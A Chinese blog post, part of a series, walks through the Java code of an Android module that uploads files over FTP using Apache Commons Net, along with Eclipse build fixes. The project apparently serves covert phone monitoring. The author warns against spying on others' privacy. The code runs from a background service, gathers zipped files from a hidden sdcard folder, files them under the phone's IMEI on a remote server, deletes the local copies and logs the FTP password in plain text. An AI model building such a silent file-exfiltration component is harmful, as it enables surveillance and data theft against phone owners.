一個安卓小項目(3)——安卓FTP方式發送文件到服務器

(此項目只作爲學習交流使用,切不可去監聽他人隱私,否則後果自負)

繼續上次。

安卓FTP協議發送文件到服務器

在這個項目中需要把文件發送到ftp服務器,這就需要在手機客戶端中,以ftp的方式去連接。

通過FTP的方式來傳輸文件,可以確保文件在傳輸過程中不會因爲文件太大,造成傳輸超時或數據上傳不完整的情況。

這裏推薦一個支持ftp的免費空間服務商 www.nanoyun.com

這裏實現FTP的功能需要Apache所提供的Commons Net API。官方下載地址http://commons.apache.org/proper/commons-net/download_net.cgi 

我用的 是3.3版本

大致說一下這個模塊的代碼文件結構

一共3個java文件

一個ftphelper 類 該類提供了連接服務器,關閉連接,發送文件等方法

一個發送文件類,該類提供了網絡連接判斷,等

一個後臺服務類,作爲一個服務在後臺一直運行,開啓另外一個線程發送文件(之後講)

話不多說,直接上代碼吧


import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import org.apache.commons.net.ftp.FTPClient;
import org.apache.commons.net.ftp.FTPReply;
import android.util.Log;
/**
 * FTP上傳文件類
 * @author lookingfor
 *
 */
public class FtpHelper {
    /**
     * 服務器名.
     */
    private String hostName;

    /**
     * 用戶名.
     */
    private String userName;

    /**
     * 密碼.
     */
    private String password;

    /**
     * FTP連接.
     */
    private FTPClient ftpClient;
    
    /**
     * 新建文件夾名
     */
    private String dirName;
    
    /**
     * TAG
     */
    private String TAG = "MyListener";

    /**
     * 構造函數.
     * 
     * @param host hostName 服務器名
     * @param user userName 用戶名
     * @param pass password 密碼
     */
    public FtpHelper(String host, String user, String pass) {
        this.hostName = host;
        this.userName = user;
        this.password = pass;
        this.ftpClient = new FTPClient();
    }

    /**
     * 打開FTP服務.
     * 
     */
    public boolean openConnect() {
        boolean flag = true;
        // 編碼格式爲UTF-8
        ftpClient.setControlEncoding("UTF-8");
        int reply; // 服務器響應值
        try {
            // 連接至服務器
            ftpClient.setDefaultPort(21);//默認端口21
            ftpClient.setDefaultTimeout(30000);
            ftpClient.connect(hostName);
            // 獲取響應值
            reply = ftpClient.getReplyCode();
            if (!FTPReply.isPositiveCompletion(reply)) {
                // 斷開連接
                ftpClient.disconnect();
                Log.i(TAG, "connect failed " + reply);
                return flag = false;
            }
            // 登錄到服務器
            ftpClient.login(userName, password);
            // 獲取響應值
            reply = ftpClient.getReplyCode();
            if (!FTPReply.isPositiveCompletion(reply)) {
                // 斷開連接
                ftpClient.disconnect();
                Log.i(TAG, "login failed " + reply);
                return flag = false;
            } else {

                // 使用被動模式設爲默認
                ftpClient.enterLocalPassiveMode();
                // 以二進制文件發送
                ftpClient.setFileType(org.apache.commons.net.ftp.FTP.BINARY_FILE_TYPE);
                Log.i(TAG, "login");
                return flag;
            }
        } catch (Exception e) {
            // TODO: handle exception
            Log.i(TAG, "connect failed message: " + e);
            return flag = false;
        }
       
    }

    /**
     * 關閉FTP服務.
     * 
     */
    public void closeConnect()  {
        if (ftpClient != null) {
            try {
                ftpClient.logout();
                // 斷開連接
                ftpClient.disconnect();
                Log.i(TAG, "logout");
            } catch (Exception e) {
                // TODO: handle exception
                Log.i(TAG, "logout failed message : " + e);
            }
        }
    }

    /**
     * 在FTP上創建文件夾
     * @param dirname
     * @return成功返回true;
     */
    public boolean createDirectory(String dirname) {
        boolean flag = true;
        this.dirName = dirname;
        try {
            ftpClient.makeDirectory(dirName);
            return flag;
        } catch (Exception e) {
            Log.i(TAG, "failed message : "+e);
            closeConnect();
            return flag = false;
        }
    }

    /**
     * 更改ftp工作目錄
     * @param dirname
     * @return
     */
    public boolean changeDir(String dirname){
        this.dirName = dirname;
        try {
            ftpClient.changeWorkingDirectory(dirName);
            return true;
        } catch (Exception e) {
            // TODO: handle exception
            
            Log.i(TAG, "changedir failed message: " + e);
            closeConnect();
            return false;
        }
    }
    /**
     * 上傳文件.
     * 
     * @param localFile 本地文件
     * @return true上傳成功, false上傳失敗
     */
    public boolean uploadingSingle(File localFile) {
        boolean flag = true;
        try {
            // 創建輸入流
            InputStream inputStream = new FileInputStream(localFile);
            // 上傳單個文件
            flag = ftpClient.storeFile(localFile.getName(), inputStream);
            // 關閉文件流
            inputStream.close();
            Log.i(TAG, "upload success");
            return flag;
        } catch (Exception e) {
            // TODO: handle exception
            Log.i(TAG, "upload failed message: " + e);
            return flag = false;
        }

    }
}


註釋很詳細不必再解釋

下面接着是

SendFiles.java



import java.io.File;
import java.util.ArrayList;

import com.android.snake.Config;
import com.android.snake.function.FileCompress;
import com.android.snake.function.Util;

import android.content.Context;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.util.Log;

/**
 * 發送文件模塊類
 * @author lookingfor
 *
 */
public class SendFiles {

    /**
     * TAG
     */
    private static final String TAG = "MyLinster";
    /**
     * ftp 服務器地址
     */
    private String host;
    public  void setHost(String host) {
        this.host = host;
    }
    public  String getHost() {
        return host;
    }
    /**
     * 登錄ftp用戶名
     */
    private String username;
    public void setUsername(String username) {
        this.username = username;
    }
    public String getUsername() {
        return username;
    }
    /**
     * 登錄ftp用戶密碼
     */
    private String psd;
    public  String getPsd() {
        return psd;
    }
    public  void setPsd(String psd) {
        this.psd = psd;
    }
    /**
     * ftp新建文件夾目錄名
     */
    private String dirname;

    /**
     * 獲取FTP對應文件名,沒有則創建
     * @return
     */
    public String getDirname() {
        if (isNeedToCreateDir(FTPFILEDIRNAME_KEY)) {
            mConfig.setConfig(FTPFILEDIRNAME_KEY, mUtil.getPhoneIMEI());
        }
        dirname = mConfig.getConfig(FTPFILEDIRNAME_KEY);
        return dirname;
    }
    /**
     * 配置文件第一次啓動標誌key
     */
    private static final String ISFIRSTUSE_KEY = "ISFIRSTUSE";
    private static final String FTPFILEDIRNAME_KEY = "FTPFILEDIRNAME";
    /**
     * FtpHelper 對象
     */
    private FtpHelper mFtpHelper;
    
    private Context mContext;
    
    Config mConfig;
    
    Util mUtil;
    
    public SendFiles(Context context) {
        // TODO Auto-generated constructor stub
        mContext = context;
        mConfig = new Config(mContext);
        mUtil = new Util(mContext);
    }
    /**
     * 判斷網絡是否可用,包括wifi和卡數據
     * @param context
     * @return 可用爲true
     */
    public boolean isNetworkAvailable() {
        if (mContext != null) {
            ConnectivityManager connectivity = (ConnectivityManager) mContext
                    .getSystemService(Context.CONNECTIVITY_SERVICE);
            if (connectivity != null) {
                NetworkInfo[] info = connectivity.getAllNetworkInfo();
                if (info != null)
                    for (int i = 0; i < info.length; i++)
                        if (info[i].getState() == NetworkInfo.State.CONNECTED) {
                            return true;
                        }
            }
            return false;
            //return true;
        }
        Log.i(TAG, "沒有獲取到context 網絡不可用!");
        return false;
    }
    
    /**
     * 是否需要創建文件夾在ftp服務器
     * @param key
     * @return
     */
    private boolean isNeedToCreateDir(String key){
        if ("0".equals(mConfig.getConfig(key))) {
            return true;
        }else {
            return false;
        }
    }
    /**
     * 獲取文件
     * @return
     */
    private ArrayList getFile(){
        
        ArrayList filelist = FileCompress.getFileList("sdcard/1101/","zip");
        if(filelist != null){
            Log.i(TAG, "獲取要發送的文件列表成功");
            return filelist;
        }
        else {
            Log.i(TAG, "獲取要發送的文件列表失敗");
            return filelist;
        }
        //return FileCompress.getFileList("sdcard/1101/","zip").get(0);
    }
    /**
     * 對外提供方法,開始發送文件,發送完成後刪除文件
     */
    public boolean startSendFiles(ArrayList filelist) {
        boolean flag = false;
        String dirnameString = getDirname();
        //連接登錄ftp
        mFtpHelper = new FtpHelper(getHost(), getUsername(), getPsd());
        Log.i(TAG, "服務器ip:" + getHost() + "用戶名:" + getUsername() + "密碼: " + getPsd());
        if (!mFtpHelper.openConnect()) {
            return flag;
        }
        //是否第一次上傳,如果是則創建目錄並寫配置文件
        if (isNeedToCreateDir(ISFIRSTUSE_KEY)) {
            if(mFtpHelper.createDirectory(dirnameString)){
                mConfig.setConfig(ISFIRSTUSE_KEY, "1");
            }else {
                return flag;
            }
        }
        
        //轉換工作區目錄
        if (!mFtpHelper.changeDir(dirnameString)) {
            return flag;
        }
        // 上傳文件
        if (!filelist.isEmpty()) {
            int count = 0;
            for (File file : filelist) {
                count++;
                if (mFtpHelper.uploadingSingle(file)) {
                    Log.i(TAG, "已上傳完成第" + count + "個文件");
                    if(file.delete()){
                        Log.i(TAG, "刪除已上傳完成的第" + count + "個文件成功");
                    }
                    flag = true;
                }else {
                    Log.i(TAG, "上傳第" + count + "個文件失敗,開始進行下一次上傳如果隊列中還有文件的話");
                    flag = false;
                }
            }
        }
        mFtpHelper.closeConnect();
        return flag;
    }
    
}

這上一段代碼中,有判斷是否第一次運行程序,這裏實現 的方式下篇再講。

不過對於ftp還要注意的是,在添加引用 和編譯調試的時候也會遇到錯誤,下面就再講一下,如何在eclipse裏添加引用,並且成功否編譯吧


添加引用:右鍵項目文件夾 --選擇Build Path --選擇 Add Librarlies

                    在彈出的對話框中 選擇User Library 點擊 Next ----點擊User Libraries

                 在彈出的對話框中 選擇 New...

                輸入 名稱(隨便你輸入)不要選擇下面的System Library 點擊ok

              然後 列表裏就多了你新建的library 然後 選中 點擊右邊的 Add External JARs....

                選擇 commons-net-3.3.jar 點擊 ok

添加引用到 libs文件夾

              在項目中找到 libs文件夾,把 commons-net-3.3.jar直接拖進去,右鍵文件夾 選擇Build Path --- Use as Source Folder

              這樣編譯的時候 就會把這個jar包 放到apk裏


關於編譯報錯的解決


報錯信息:

Unable to execute dex: Multiple dex files define Landroid/support/annotation/AnimRes;

Conversion to Dalvik format failed: Unable to execute dex: Multiple dex files define Landroid/support/annotation/AnimRes;

解決方法

右鍵項目文件夾 選擇 Properties --選擇左側的 Java Build Path 在Libraries選項卡中 Remove 掉 Android Dependencies 和Android Private Libraries兩項  然後再編譯就好了。



發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章